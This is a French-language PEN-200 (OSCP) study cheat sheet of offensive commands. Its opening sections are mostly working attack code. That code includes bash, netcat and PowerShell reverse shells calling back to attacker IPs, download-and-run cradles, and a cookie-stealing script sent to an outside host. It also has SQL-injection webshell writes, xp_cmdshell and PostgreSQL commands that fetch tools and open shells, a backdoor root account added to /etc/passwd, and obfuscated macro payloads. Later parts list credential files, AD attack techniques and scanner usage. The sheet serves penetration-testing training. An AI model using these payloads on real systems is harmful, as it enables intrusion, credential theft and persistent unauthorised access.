PEN-200

yoyo348

2024-03

Table des matières

Commandes et Shells **2**
Shells . . . 2
Upgrade Shell . . . 3
Encodage/Decodage . . . 3
Scripts . . . 4
Python . . . 4

Fichiers Interessants **5**
LINUX . . . 5
Apache & Nginx . . . 5
MySQL . . . 5
Windows . . . 5

Injection SQL **6**
blinded SQL injection . . . 6
PostgreSQL . . . 6
MSSQL . . . 6
Commandes SQL basiques . . . 7
MongoDB (Injection NoSQL) . . . 7
Redis . . . 7
SQLMAP . . . 7

LINUX PRIVESC **8**
Git . . . 9
xfreeRDP . . . 9

PROTOCOLES **10**
FTP (20-21) . . . 10
SMTP (25) . . . 10
SMB (445) . . . 10
LDAP . . . 10
SNMP (161-162) . . . 11
DNS . . . 11
NFS . . . 11
RPC . . . 11

TECHNIQUES D'ATTAQUES **12**
Attaque contre AD . . . 12
Wordpress . . . 13
Jenkins . . . 13
Docker . . . 13

TOOLS **14**
Nmap . . . 14
Rustscan . . . 14
WPscan . . . 14
Gobuster . . . 14
Feroxbuster . . . 15
Dirb . . . 15
Wfuzz . . . 15
ffuf . . . 15
Humble . . . 15
Netcat . . . 15
Hydra . . . 15
Ncrack . . . 16
crackmapexec/netexec . . . 16
Fcrackzip . . . 16
Kerbrute . . . 16
Rubeus . . . 16
JohnTheRipper . . . 16

Hashcat . . . 17
mimikatz . . . 17
impacket . . . 18
responder . . . 19
shellter . . . 19
veil . . . 19
evil-winrm . . . 19
Winpeas . . . 19
Seatbelt . . . 19
PowerUp.ps1 . . . 19
PowerView . . . 20
PowerMad . . . 20
Certipy . . . 20
Spray-Passwords . . . 20
Sharphound . . . 20
BloodHound . . . 20
SigmaPotato . . . 21
unix-privesc-check . . . 21
Metasploit . . . 21
msfvenum . . . 21
meterpreter . . . 21

TUNNELING **22**
Port Forwarding . . . 22
SSH Local Port Forwarding . . . 22
SSH Dynamic Port Forwarding . . . 22
SSH Remote Port Forwarding . . . 22
SSH Dynamic Remote Port Forwarding . . . 22
shuttle . . . 22
Splink . . . 22
netsh . . . 23
Chisel . . . 23
Ligolo-ng . . . 23

WINDOWS PRIVESC **24**
Mouvement lateral . . . 26
Pivoting avec WINRM . . . 26
Pivoting avec PsExec . . . 26
Pivoting avec DCOM . . . 26
Shadow Copy . . . 27
Compilation . . . 27

Méthodologies **28**
Connexion vers SSH . . . 28
Escalade de privilèges Linux . . . 28
Transfert de fichiers . . . 28
Contournement upload de fichiers . . . 28
Rappels de choses à faire lors de l'énumération . . . 28

Resources **30**

Commandes et Shells

Shells

Execution d'un reverse shell avec bash :

```
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
```

Codes pour exécution de Reverse Shell avec du code PHP :

```
<?php exec("/bin/bash -c 'bash -i >\& /dev/tcp/ATTACKING-IP/ATTACKING-PORT 0>\&1'");?>
```

Code pour un webshell php pour l'execution de commandes avec curl de type : "http ://targeturl/shell.php ?cmd=whoami"

```
<?php echo system($_REQUEST['cmd']);?>
```

Webshell php pour lancer des requetes de type : "http ://targeturl/shell.php ?c=whoami" :

```
<?php echo system($_GET['c']);?>
```

Code pour executer Powercat sur Windows, il faut lancer un serveur python sur le répertoire contenant le fichier powercat.ps1 :

```
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.195/powercat.ps1');
    powercat -c 192.168.45.195 -p 1234 -e powershell
```

Code pour executer un reverse shell sur Windows (Reverse shell One Liner) :

```
$client = New-Object System.Net.Sockets.TCPClient('192.168.45.195',1234);$stream = $client.
    GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)
    ) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).
    Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte
    ,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

Permet l'execution d'un reverse shell sur la machine cible Linux si executé sur celle ci (necessite nc installé) :

```
nc -nv IP_target port_target -e /bin/bash
```

Bind Shell netcat :

```
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 1234 > /tmp/f
```

Script à ajouter dans un fichier cron placé dans /tmp afin d'obtenir un reverse shell :

```
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 9001 >/
    tmp/f" > /tmp/full-checkup.sh
```

Script pour créer un fichier qui sera executé avec root afin d'obtenir les droits root :

```
echo -ne '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash' > gzip
```

il est ensuite possible de lancer bash avec les droits root :

```
/tmp/bash -p
```

Shell au format bat :

```
LHOST=192.168.45.238
LPORT=443
rshell=shell-443.txt
pwsh -c "iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/
    besimorhino/powercat/master/powercat.ps1');powercat -c $LHOST -p $LPORT -e cmd.exe -ge" > /
    tmp/$rshell
```

```
LHOST=192.168.45.238
LPORT_web=80
rshell=shell-443.txt
echo START /B powershell -c "\$code=(New-Object System.Net.Webclient).DownloadString('http://${
    LHOST}:${LPORT_web}/${rshell}');iex 'powershell -E \$code'" >/tmp/backup.bat
```

Réception du reverse shell :

```
python3 -m http.server 80 --directory /tmp
nc -nlvp 443
```

Upgrade Shell

- `/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'` : permet d'upgrade un shell pour un meilleur affichage par exemple les chargement et le dossier en cours.
- `script /dev/null -c /bin/bash` : de meme pour cette commande

Shell moyen
`script /dev/null -c /bin/bash`
`Ctrl-Z`
Sur Kali :
`stty raw -echo`
`fg`

Shell costaud
Sur le reverse shell :
`SHELL=/bin/bash script -q /dev/null`
`Ctrl-Z`
Sur Kali :
`stty raw -echo`
`fg reset xterm`

Sur le reverse shell :
`export SHELL=bash export TERM=xterm-256color stty rows 24 columns 150`

Encodage/Decodage

On peut encoder avec Bash en lançant les commandes suivantes :

```
echo "CODE" | base64
```

Décodage Base64 :

```
echo "CODE" | base64 -d
```

On peut encoder avec Powershell avec les commandes suivantes :

```
$Text = 'CODE' ## ajoute le code dans la variable Text
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) ## encode en Unicode
$EncodedText =[Convert]::ToBase64String($Bytes) ## encode en Base64
$EncodedText ## affiche le code
```

Encodage d'un payload en Base 64 avec Python :

```
import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream =
    $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes
    .Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes
    ,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).
    Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte
    ,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)
```

Script Python afin d'encoder en morceau de 50 caractères pour un fichier VBA :

```
str = "powershell.exe -nop -w hidden -e ###CODEBASE64"

n = 50

for i in range(0, len(str), n):
        print("Str = Str + " + '"' + str[i:i+n] + '"')
```

- encodage binaire : `xxd -b malware.txt`
- décodage aes256 : `gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"`

Scripts

- Script pour extraction des cookies et envoie sur serveur kali :

```
<script>var i=new Image(); i.src="http://10.10.14.4/?cookie="btoa(document.cookie);</script>
```

Script de scan de ports avec bash :

```
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null
    && echo "port $PORT is open"; done
```

Script python pour bruteforce le numéro de PID d'un service en lançant des requetes avec un path traversal :

```
import requests

for i in range(1, 1000):
  r = requests.get("http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?
      ebookdownloadurl=/proc/"+str(i)+"/cmdline")
  out = (r.text.replace('/proc/'+str(i)+'/cmdline','').replace('<script>window.close()</script
      >','').replace('\00',' '))
  if len(out)>1:
    print("PID"+str(i)+" : "+out)
```

Python

Utilisation d'un environnement virtuel python :
`python3 -m venv myenv`
`source myenv/bin/activate`
`pip install salt`
Pour désactiver l'environnement virtuel : `deactivate`

Fichiers Interessants

LINUX

`/etc/passwd` : fichier contenant les noms d'utilisateur avec leur UID
`/etc/shadow` : fichier contenant les mots de passes utilisateur hashé
`/var/mail` : fichier contenant les mails
`/var/www/html/` : configuration par défaut pour le contenu des fichier d'un site sur un serveur web
`/usr/share/nginx/html` : configuration d'un serveur nginx
`/etc/issue`
`/etc/group`
`/etc/hostname`
`/etc/ssh/ssh_config`
`/etc/ssh/sshd_config`
`/root/.ssh/id_rsa` : contient la clef rsa du compte root
`/root/.ssh/authorized_keys`
`/home/user/.ssh/authorized_keys`
`/home/user/.ssh/id_rsa`
`/proc/[0-9]*/fd/[0-9]*`
`/proc/mounts`
`/home/$USER/.bash_history`
`/home/$USER/.ssh/id_rsa`
`/var/run/secrets/kubernetes.io/serviceaccount`
`/var/lib/mlocate/mlocate.db`
`/var/lib/mlocate.db`

Apache & Nginx

`/etc/nginx/sites-enabled-default` : fichier de configuration nginx contenant les nom d'hotes
`/usr/share/nginx/html` : répertoire web par défaut pour un site web nginx
`/etc/apache2/sites-available/000-default.conf` : contient le fichier par défaut de configuration du serveur apache avec les noms d'hotes
`/etc/apache2/apache2.conf`
`/usr/local/etc/apache2/httpd.conf`
`/etc/httpd/conf/httpd.conf`
`/var/log/apache/access.log`
`/var/log/apache/error.log`
`/var/log/apache2/access.log`
`/usr/share/tomcat9/etc/tomcat-users.xml` : fichier de configuration des utilisateurs apache tomcat

MySQL

`/var/lib/mysql/mysql/user.frm`
`/var/lib/mysql/mysql/user.MYD`
`/var/lib/mysql/mysql/user.MYI`

Windows

`C:\windows\system32\config\SAM` et `C:\windows\system32\config\SYSTEM` : contient les hash des utilisateurs du système il est possible de les dumper avec secredump de impacket
`$env:APPDATA\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` : fichier par défaut contenant l'historique de commande
`/boot.ini`
`/autoexec.bat`
`/windows/system32/drivers/etc/hosts`
`/windows/repair/SAM`
`/windows/panther/unattended.xml`
`/windows/panther/unattend/unattended.xml`
`/windows/system32/license.rtf`
`/windows/system32/eula.txt`
`/windows/system32/drivers/etc/hosts` : fichier par défaut pour les nom d'hote

Injection SQL

Commencer par identifier les possibilités d'injection de code avec ' en fin de requête (utiliser burp de préférence) puis trouver le nombre de colonne on peut utiliser pour cela :

```
1' UNION SELECT null --
```

et adapter en fonction du nombre de colonne jusqu'à trouver le nombre exacte, on peut essayer de trouver la colonne dans laquelle on peut interagir avec @@version on peut ensuite tenter d'injecter un webshell en utilisant :

```
' UNION SELECT '<?php echo shell_exec($_GET[\'cmd\']); ?>', NULL INTO OUTFILE
'/var/www/html/shell.php'; -- //
```

dans cet exemple il y a deux colonnes qui sont utilisé, l'une pour le shell php et l'autre dans laquelle est écrit le fichier shell.php dans le répertoire `/var/www/html/shell.php`. Mieux vaux écrire le fichier dans le répertoire dans lequel la commande `@@version` à répondu on peut ensuite y accéder depuis le navigateur avec `URL/shell.php?cmd=whoami`

blinded SQL injection

On teste le délai de réponse afin de savoir si la commande s'exécute correctement :

- MySQL : `1' AND IF(1=1, SLEEP(5), 0); --`
- Postgresql : `1' AND 1=1; SELECT pg_sleep(5); --`
- SQL Server : `1'; WAITFOR DELAY '0:0:5'; --`
- Oracle : `1' AND 1=1; BEGIN DBMS_LOCK.SLEEP(5); END; --`

PostgreSQL

Pour PostgreSQL on peut utiliser la fonction `cast()` avec :

```
cast(current_user+as+int) from pg_shadow, cast(passwd+as+int) from pg_shadow, cast(
    current_database+as+int)}
```

afin de se connecter à la base de donnée distante on peut utiliser la commande :

```
psql -h <REMOTE HOST> -p <REMOTE PORT> -U <DB_USER> <DB_NAME>
```

on peut obtenir un reverse shell avec les commandes suivantes :

```
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/
    tmp/f';
```

Commandes de base Postgres :

`psql -h 127.0.0.1 -U postgres` : connexion à la base de donnée avec l'utilisateur postgre `\list` : permet de lister les bases de données `\connect cozyhosting` : permet de se connecter à une base de données `\dt` : permet de lister les tables `select * from users;` : permet d'afficher le contenu de la table users

MSSQL

On peut utiliser le code xp_cmdshell natif sur les serveurs Windows SQL.

```
### Configurer xp_cmdshell pour l'activer
';EXEC sp_configure 'show advanced options', 1;--
';RECONFIGURE;--
';EXEC sp_configure "xp_cmdshell", 1;--
';RECONFIGURE;--

## Upload nc.exe
';EXEC xp_cmdshell "certutil -urlcache -f http://Kali_IP/nc.exe c:/windows/temp/nc.exe";--

## Lancer le revershell
';EXEC xp_cmdshell "c:/windows/temp/nc.exe -e cmd.exe Kali_IP Kali_Port";--
```

Commandes SQL basiques

`mysql -u USERNAME -pPASSWORD -h HOSTNAMEORIP` : permet de se connecter à une base de donnée mysql, on peut ajouter `--skip_ssl` en cas d'erreur ssl
`USE htb;` : permet d'utiliser la base de données htb
`SHOW DATABASES;` : permet de lister les bases de données
`SHOW TABLES;` : permet d'afficher les tables
`SELECT * FROM creds;` : permet d'afficher le contenu de la table creds

MongoDB (Injection NoSQL)

`https://nullsweep.com/a-nosql-injection-primer-with-mongo/`

Redis

`INFO keyspace` : permet de lister les bases de données
`select 0` : permet de selectionner une base de données
`keys *` : permet d'afficher les clefs
`get flag` : permet d'afficher les clefs de flag

SQLMAP

`sqlmap -r genrerequests --second-req=feedrequest` : permet de lancer une requête enregistré avec une seconde requete
`sqlmap -r genrerequests --second-req=feedrequest --dbs` : permet de lire le nom des bases de données
`sqlmap -r genrerequests --second-req=feedrequest --tables` : permet de lire le nom des tables
`sqlmap -r genrerequests --second-req=feedrequest --tables users --dump` : permet de dumper le contenu de la table ici "users"

LINUX PRIVESC

`chmod 600 id_rsa` : penser à changer les permissions utilisateurs lors de l'utilisation d'un id_rsa
`ls -l /etc/shadow` : permet de lister les droits du fichier /etc/shadow qui contient des mots de passes
`id` : permet de vérifier les permissions de l'utilisateur actuel
`cat /etc/passwd` : permet d'afficher le fichier contenant les noms d'utilisateur du système
`hostname` : permet de connaitre le nom de l'utilisateur actuel
`ps aux` : affiche les processus en cours
`ip a` : affiche la configuration TCP/IP
`routel` ou `route` : permet d'afficher les tables de rootage
`netstat` : permet d'identifier les ports à l'écoute l'option `-l` permet de les lister
`ss -anp` : permet d'afficher les ports en écoute `ss -tln` permet d'identifier les ports ouverts localement avec les services associés `ss -ltup` permet de lister les ports avec le nom du service
`cat /etc/iptables/rules.v4` : afficher les règles d'utilisation du pare feu
`ls -lah /etc/cron*` : permet d'afficher les fichiers avec des cron en cours
`crontab -l` : permet de lister les cron, parfois certains cron son lancé avec l'utilisateur root, donc il ne sont pas visible pour un utilisateur lambda, il faut alors utiliser sudo pour les voir
`dpkg -l` : permet de lister les applications installés `systemctl` est tout aussi utile
`find / -writable -type d 2>/dev/null` : permet de chercher tous les répertoires (directory) pouvant être écrit (Writable), peut etre remplacé pour lister les fichiers avec f (file)
`cat /etc/fstab` : permet de lister les disques montés lors du démarrage
`mount` : permet de lister les disques système
`df -h` : permet de voir les disques montés et identifier le disque système
`lsblk` : permet d'afficher les disques disponible
`lsmod` : permet d'afficher les modules du kernel
`/sbin/modinfo libata` : permet d'afficher plus de détail sur un module kernel spécifique (ici libata)
`find / -perm -u=s -type f 2>/dev/null` : permet d'afficher les fichier ayant pour permissions le Binaire "SUID" qui donne les même droits que le créateur d'un fichier, une commande alternative qui donne le meme résultat est : `find / -perm -4000 2>/dev/null`
`/usr/sbin/getcap -r / 2>/dev/null` : permet d'afficher les capabilities des fichiers, certains peuvent avoir le setuid
`env` : permet d'afficher les variables
`cat * | grep -i passw*` : permet d'afficher tout les fichiers et de grep seulement le fichier contenant les charactère "passw" et autre
`sudo -l` : permet d'afficher les privilèges sudo
`watch -n 1 "ps -aux | grep pass"` : permet de lancer une commande en rafraichissant les résultat toute les secondes
`grep "CRON" /var/log/syslog` : permet de cpaturer les cron du système
`openssl passwd w00t` : permet d'ajouter un hash avec le mot de passe w00t qui peut être ajouté dans /etc/-passwd
`aa-status` : permet d'afficher les applications qui utilisent AppArmor
`file` : permet d'afficher les caractérisque d'un fichier par exemple son architecture, sa version, etc..
`export PATH=/tmp:$PATH` : permet d'ajouter une variable de commandes vers le fichier /tmp
`pip freeze` : permet d'afficher la version des librairies python
`dos2unix id_rsa` : lorsque le fichier id_rsa renvoie une erreur on peut nettoyer le fichier avec dos2unix
`identify -verbose image.png` : permet d'afficher les caractéristiques d'une image
`findmnt` : permet d'afficher les points de montage en incluant les environnements docker
`mysql -u USERNAME -p'PASSWORD' -h HOSTNAMEORIP DATABASENAME` : permet la connexion à une base de donnée mysql
`sudo tcpdump -ni tun0 icmp` : permet de tester les requetes de reception d'un ping

permet d'afficher des informations sur l'OS :

```
cat /etc/issue
cat /etc/os-release
uname -a
```

permet l'ajout d'un utilisateur root2 :

```
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
```

lien utile : `https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/`

Les droits ”adm” permettent de lire les log placés dans /var/log on peut tenter de capturer un mot de passe avec :
`grep -R -e 'password' /var/log/`

Git

`git status` : affiche les actions déroulés pour le repository
`git branch` : permet de lister des branche
`git log` : permet d'afficher les logs des commits
`git show commit_name` : permet d'afficher les log du commit précisé en paramètre
`git diff commit_name` : permet d'afficher les modifications qui ont été faite sur un commit par rapport au commit original ou bien de le comparer à un autre
`git checkout branch_name` : permet de basculler et de changer de branche

xfreeRDP

```
xfreerdp /u:username /p:password /v:IP /d:corp.com /drive:/tmp +clipboard
```

PROTOCOLES

FTP (20-21)

Commande de connexion : `ftp user@host`
Identifiant connexion anonyme : `anonymous`
Activer le mode actif FTP : `ftp -A user@host`
Activer le mode binaire sur FTP : `bin`
Commande pour télécharger tous les fichiers présents : `mget *`
Connexion anonyme avec lftp : `lftp -u anonymous 192.168.222.53`
Activer le mode actif FTP sur lftp : `set ftp:passive-mode off`
Télécharger un fichier sur le serveur FTP : `put`

SMTP (25)

`smtp-user-enum -M VRFY -U /root/Desktop/user.txt -t 192.168.1.107` : permet l'enumeration du service en utilisant des noms d'utilisateurs
`smtp-user-enum -M VRFY -D mail.ignite.lab -u raj -t 192.168.1.107` : permet l'enumeration du service en vérifiant les adresses mails
`telnet 192.168.144.71 25` : permet de connaitre la version du service il est aussi possible d'utiliser `nc -v 192.168.144.71 25` une fois connecté on peut faire un test avec `HELO test` et `AUTH LOGIN` pour tenter de s'authentifier

SMB (445)

`sudo nbtscan -r` : permet le scan du protocole SMB
`enum4linux` : permet une enumération complète de l'hôte cible sur le protocole SMB
`smbclient -N -L //server` : permet de lister les Share
`smbclient //server/share <password>` : permet la connexion au serveur avec un mot de passe
`recurse on` : permet d'activer les résultats récursifs pour télécharger des fichiers par exemple
`prompt OFF` : permet de ne pas avoir à confirmer pour chaque téléchargement des fichiers du share, utile avec la commande `mget *`
`mget *` : permet de télécharger tous les fichiers d'un share
`smbclient -U '' -L //[ip]/[share]` : permet la connexion anonyme au share
`smbclient //[ip]/[share] -U [username] [password]` : permet la connexion avec des identifiants à un share
`smbclient //[ip]/[share] -N` : permet d'enumerer les fichiers du serveur en se connectant
`smbclient //[ip]/[share] -U username --pw-nt-hash hashcode` : permet d'effectuer une connexion avec un passthehash
`netexec smb [host/ip] -u guest -p '' --shares` : permet de lister les Share du serveur en anonyme
`netexec smb [host/ip] -u [user] -p [pass] --shares` : permet de lister les Share avec un accès utilisateur
`netexec smb CICADA-DC -u guest -p '' --rid-brute` : permet de bruteforcer les noms d'utilisateur en anonyme
`netexec smb CICADA-DC -u users -p 'PASSWORD' --continue-on-success` : permet le bruteforce d'un compte SMB avec un mot de passe trouvé et un nom d'utilisateur
`netexec smb [ip]` : permet d'enumerer les Share du serveur
`smbmap -u guest -H 10.10.10.192` : permet d'énumérer le service SMB en tant qu'invité
`smbmap -u TempUser -p welcome2019 -H 10.10.10.178 -R '$Secure\IT\Carl` : permet de lister le contenu d'un share
`net use Z: \\192.168.45.241\smb /user:user pass` : permet la connexion au serveur FTP avec une authentification en montant le disque Z : on peut ensuite transférer des fichiers avec la commande : `copy C:\Users\marcus\textbackslash 20250107065054_BloodHound.zip Z:\`

LDAP

`ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=local,dc=local"` : permet d'enumerer de manière anonyme le service LDAP

`netexec ldap CICADA-DC -u michael.wrightson -p 'PASSWORD' --users` : permet le bruteforce des utilisateurs ldap après avoir obtenu des identifiants valides

SNMP (161-162)

`snmpwalk -c public -v1 -t 10 IP_address` : permet d'énumérer entière le MIB (Management Information Base) "public" avec l'option -c, on spécifie la version de SNMP avec -v
`snmpwalk -c public -v1 IP_address OID` : permet d'énumérer un OID spécifié
`snmpwalk -c public -v 2c IP_address` : permet d'enumérer la version 2c de SNMP

DNS

`dig axfr bank.htb @10.10.10.29` : permet de lancer un zone transfer afin de découvrir d'autre noms de domaine

NFS

`showmount -e 10.10.10.180` : permet de lister les dossiers présents dans le serveur NFS
`mkdir /tmp/mount && mount 192.168.1.22:/home/karl /tmp/mount` : permet de monter le dossier NFS dans /tmp/mount

RPC

`rpcclient -U Hazard%stealth1agent 10.10.10.149` : permet de se connecter au client RPC

Connexion anonyme au client RPC :

```
rpcclient -U "" -N 10.10.10.161
```

`rpcclient $> enumdomusers` : permet de lister les utilisateurs
`rpcclient $> enumdomgroups` : permet de lister les nom des groupes

TECHNIQUES D'ATTAQUES

Transfert DNS permet d'afficher les enregistrement du DNS TXT on lance pour cela la commande suivante : `dig axfr @10.10.10.83 ctfolympus.htb` où 10.10.10.83 est l'adresse du serveur et ctfolympus est le nom de domaine. `dig @10.10.11.166 -x 10.10.11.166` : permet un reverse lookup pour trouver le nom de domaine.

Directory Busting permet le bruteforce des URL d'un site, aussi appelé dir busting

Server Side Template Injection (SSTI) Type d'attaque dans laquelle un attaquant peut injecter du code dans la template d'un serveur et qui peut s'exécuter. cela peut etre une template xml ou autre. Il existe plusieurs types de templates de sites : jinja2, Tornado, Mako (Python), Twig (PHP), Handlebars et Lodash (Javascrypt), Freemarker, codepen, Jinjava, Pebble, Velocity, Groovy, Spring (Java)

voir le lien suivant : `https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/#identify-the-vulnerable-input-field`

Local File Inclusion (LFI) Type d'attaque qui permet d'executer un fichier non accessible au départ en "l'incluant" dans le chemin avec `../` Remote File Inclusion (RFI) est similaire à LFI mais dans ce cas c'est l'attaquant à la possibilité de faire charger un fichier vers l'hôte en utilisant un protocole FTP, HTTP, etc.. `.... .//....//....//....//....//....//....//....//etc/passwd` : cette URL aussi peut permettre d'extraire un fichier lorsque le code exclut l'execution de `../` `..//` , `//`

XML External Entity (XXE) Type d'attaque qui implique la modification d'un formulaire xml pour l'injection de commande. Remarque : ce n'est pas par ce que le formulaire renvoie le format XML que le type d'attaque est automatiquement XXE il paut aussi s'agir d'un SSTI

Local File Inclusion Linux `https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt`

Local File Inclusion Windows `https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt`

Directory Traversal ou aussi appelé **Path Traversal** Type d'attaque permettant de lire le contenu d'un fichier sur une machine vulnerable contrairement à File Inclusion qui execute le fichier

Bruteforce technique d'attaque dans laquelle on va essayer toutes les combinaisons possible afin de tester jusqu'à obtenir le bon mot de passe.

Command Injection Technique qui permet d'executer des commandes depuis les paramètres d'une requete ou l'entete, cela est très fréquents sur les site php avec des pages qui terminent par exemple par : "id ?=1"

Blind Command Injection Technique d'injection de commande dans laquelle on met en place tcpdump en écoute et qu'on lance un ping depuis la requete pour voir si la commande s'est bien executé

execution after reading (EAR) vulnerability Technique d'interception de requete qui permet de lire le contenu d'une page avant d'etre par exemple redirigé vers une autre. Par exemple pour une création de compte qui est inaccessible car redirigé vers une autre page.

Attaque contre AD

AS-REP roasting technique d'attaque contre l'AD dans laquelle on réceptionne le hash contenant la reponse à la requete pour s'authentifier, il suffit alors de craquer le hash pour obtenir le ou les mots de passes. Cela ne necessite parfois pas le mot de passe de l'utilisateur our la reception d'un hash par exemple s'il s'agit d'un nom d'utilisateur pour un service dans ce cas le "Kerberos Pre-Authentication" est désactivé

Kerberoasting technique d'attaque contre l'AD permettant d'obtenir la réception d'un hash contenant la réponse de la connexion à un SPN par un ticket

Silver Ticket technique d'attaque contre l'AD dans lequel on crée sont propre ticket de connexion kerberos pour cela il est necessaire d'obtenir 3 éléments : SPN password hash (avec mimikatz par exemple), Domain SID (peut s'obtenir avec 'whoami /user') , Target SPN (par exemple l'adresse du IIS par exemple : web04.corp.com) on peut ensuite utiliser mimikatz pour créer le ticket

Golden Ticket technique permettant de pivoter en créant un ticket de la meme façon que pour ticket silver sauf que l'on utilise le compte krbtgt qui permet d'avoir accès à tous le domaine

dcsync attack technique d'attaque contre l'AD dans lequel on crée un service de réplication qui permet l'obtention d'un hash, il est nécessaire d'avoir les permissions nécessaire pour lancer l'attaque : "Replicating

Directory Changes", "Replicating Directory Changes All", "Replicating Directory Changes" en mode "Filtered Set", on peut alors utiliser mimikatz ou impacket afin de récupérer les hash

pass the hash Technique permettant de se connecter à une machine en utilisant un hash d'une machine, cela ne fonctionne que pour les hash NTLM

overpass the hash Technique consistant à utiliser le hash d'un compte utilisateur pour créer un ticket TGT et lancer un powershell depuis ce compte avec mimikatz on peut ensuite pivoter en utilisant psexec

pass the ticket Technique de pivoting consistant à utiliser un ticket TGT extrait depuis mimikatz pour se connecter à un share

hash dumping mimikatz permet l'extraction des hash présent dans la base de données Windows

Psexec pivoting Permet de faire du pivoting avec un pass the hash en transformant un hash NTLM en ticket kerberos

Resource Based Constrained Delegation Technique d'attaque permettant l'obtention des droits plus élevés sur l'AD lorsque l'on a dejà des droits d'écriture sur un controlleur de domaine on peut créer une fausse machine puis par l'intermédiaire du controlleur de domaine faire une requete du hash du ticket kerberos pour la fausse machine crée se qui permettra une connexion avec un PassTheHash, il faut trois conditions pour cela :
1. Un shell ou droit d'execution de commande sur un utilisateur du groupe Authenticated Users
2. l'attribut "ms-ds-machineaccountquota" doit etre supérieur à 0 car c'est cet attribut qui determine combien de machines peuvent etre crées pour le DC
3. l'utilisateur auquel on a les droits d'execution de commande doit avoir les droits d'eecriture (GenericAll, WriteDACL) sur au moins 1 controlleur de domaine

RID cycling technique permettant d'enumerer les utilisateurs d'un système lorsque la permission de listage des "Shares" est autorisé, on peut utiliser pour cela "impacket-lookupid"

Wordpress

Pour obtenir un reverse Shell via Wordpress on peut uploader un plugin malicieux présent sur cette URL : `https://github.com/JacobMembrino/wordpress-plugin-exploit` puis lancer nc sur un terminal avec un port choisi. Afin de lancer le shell il faut utiliser curl, on lance pour cela la commande suivante :

On peut lancer des commande avec curl : `curl http://spectra.htb/main/wp-content/plugins/WebShell-Pentest/WebShell-Pentest.php?cmd=ls+-la`

```
curl http://[Victim URL]/WebShell-Pentest.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22[
    AttackerIP]%22%2C[Port Open]%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E
    %263%22%29%3B%27%0A
```

Une autre façon d'obtenir un shell est d'uploader le reverse shell php, d'aller dans la librairie puis de lancer l'URL ou se trouve le fichier sans oublier de lancer netcat

Jenkins

`https://github.com/gquere/pwn_jenkins`

Docker

`https://www.hackingarticles.in/docker-privilege-escalation/`

TOOLS

Nmap

`nmap -p- -sS` : permet le scan de tous les ports TCP avec un SYN scan
`nmap -sT` : permet de scanner en bas privilèges sans avoir besoin d'utiliser la commande sudo, il s'agit d'un "connect scan" mais cela prend plus de temps que un SYN Scan
`nmap -sU` : permet le scan des ports UDP, prend du temps à charger.
`nmap -sU -F` : permet un scan des ports UDP les plus connus. Cela permet un scan plus rapide qu'un scan classique UDP, puisque la plupart des ports UDP ne sont pas utilisés.
`nmap -Pn -F` : Permet de scanner les principaux ports (est plus rapide qu'un scan complet des ports) tout en désactivant la requête ICMP Echo pour permettre un résultat plus rapide. L'option `-Pn` permet de contourner les Firewall pouvant être présents sur la machine cible.
`nmap -oG filename` : permet de scanner et de sauvegarder le résultat dans un fichier texte.
`nmap -A --top-ports=20` : permet d'activer le traceroute (scan agressif) avec la détection du système d'exploitation et de la version avec un scan des 20 ports les plus connus.
`nmap -sC -sV` : permet d'utiliser les scripts par défaut de nmap avec la détection de la version du système
`nmap -O -sV` : permet d'activer la detection de la version et de l'OS, l'option : `--osscan-guess` permet d'afficher la version de l'OS même si celle ci n'est pas détecté de manière sûre.
`nmap --script` : permet de lancer un scan à l'aide d'un script NSE
`sudo nmap -sV -p 443 --script "vuln"` : permet de lancer un scan de vulnérabilité en utilisant tous les scripts NSE disponible, cela ne marche qu'avec la détection de version, on spécifie dans notre cas le port 443 pour le service HTTPS
`nmap --script smb-enum-shares.nse -p445 <host>` : permet d'enumerer les shares SMB
`nmap -p- -sT --min-rate 5000 IP_Adrress` : permet un scan rapide pour découvrir les ports ouverts
